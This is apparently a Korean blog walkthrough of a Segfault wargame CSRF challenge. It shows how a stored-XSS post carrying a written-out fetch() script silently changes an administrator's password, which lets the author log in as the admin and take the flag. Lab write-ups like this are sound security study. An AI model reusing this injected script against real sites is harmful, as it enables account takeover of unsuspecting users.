목표 : admin 계정으로 접속을 하라
<회원가입>
우선 james 라는 이름으로 회원가입을 진행하여 메인페이지로 로그인을 합니다.
이후 마이페이지로 이동하여 비밀번호 변경 요청을 살펴보겠습니다.
<마이페이지>
(비밀번호 변경)
비밀번호 변경 | Burp 로 살펴본 비밀번호 변경요청 |
![]() |
![]() |
일단 보시면 POST 방식으로 비밀번호 요청을 하고있습니다.
그러면 POST 요청을 GET 방식으로 바꿔서 링크공격이 가능한지 살펴보겠습니다.
GET 방식으로 비밀번호 요청 (실패) |
![]() |
POST 방식은 가능한데 , GET방식의 요청을 하게되면 에러가 나게됩니다.
그러면 링크유도 공격은 불가능해졌습니다..
하지만 자바스크립트로도 POST 요청을 보낼 수 있기에 XSS 취약점을 찾아 자바스크립트 코드를 실행해보겠습니다.
<게시글 작성>
특수문자 사용가능여부 확인 | 특수문자 사용가능! |
![]() |
![]() |
특수문자가 사용가능한것을 확인하였습니다.
이제 POC 코드를 사용하여 스크립트 코드가 동작하는지 확인해보겠습니다.
POC 코드 삽입 | POC 코드 동작확인! |
![]() |
![]() |
POC 코드가 잘 동작하는 것을 확인하였습니다!
이제 스크립트 코드를 삽입하여 비밀번호 요청의 POST 요청을 해주겠습니다.
<게시글 작성>
(악성스크립트 삽입)
악성스크립트 코드 삽입 | 원본 요청(비밀번호 변경) |
![]() |
![]() |
.
.
.
<삽입된 스크립트 코드>
<script>
fetch('http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php', {
method: 'POST',
headers: {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Cache-Control': 'max-age=0',
'Accept-Language': 'ko-KR',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://ctf.segfaulthub.com:7575',
'Referer': 'http://ctf.segfaulthub.com:7575/csrf_2/notice_read.php?id=364&view=1',
'Accept-Encoding': 'gzip, deflate, br',
'Cookie': 'PHPSESSID=jhjcgvofgnnvfuh8ihlk1i4rhq',
'Connection': 'keep-alive'
},
body: 'pw=159159'
}).then(response => {
return response.text(); // 또는 response.json();
}).then(data => {
console.log(data); // 응답 데이터 처리
}).catch(error => {
console.error('Fetch 요청 중 오류 발생:', error);
});
</script>
게시물 접근시 보이는 화면 |
![]() |
<Burp 로 보내지는 요청 확인>
fetch 함수가 동작하여 회원정보 수정에 성공하였습니다.
이제 이 게시물에 접근하게되면 비밀번호를 159159 로 바꾸라는 POST 요청을 본인도 모르게 보내게 될 것입니다.
그러면 관리자가 이 게시물로 접근하도록 해보겠습니다.
<관리자 접속>
관리자가 게시물에 접근하였으니 ,james_admin 아이디로 비밀번호 '159159'를 쳐서 접속해보겠습니다.
james_admin 아이디 접속시도 | 플래그 획득 |
![]() |
![]() |
스크립트가 동작하여 무사히 플래그를 획득할수 있었습니다!
긴 글 읽어주셔서 감사합니다!
'워게임 문제풀이 > Segfault' 카테고리의 다른 글
<Segfault> 워게임 문제풀이 [CSRF-Get admin 3] (0) | 2024.07.07 |
---|---|
<Segfault> 워게임 문제풀이 [CSRF-Get admin 1] (0) | 2024.07.06 |
<Segfault> 워게임 문제풀이 [Steal Info] (0) | 2024.07.02 |
<Segfault> 워게임 문제풀이 [XSS Challenge] (1) | 2024.07.02 |
<Segfault> 워게임 문제풀이 [XSS 5](feat.자기반성) (0) | 2024.07.01 |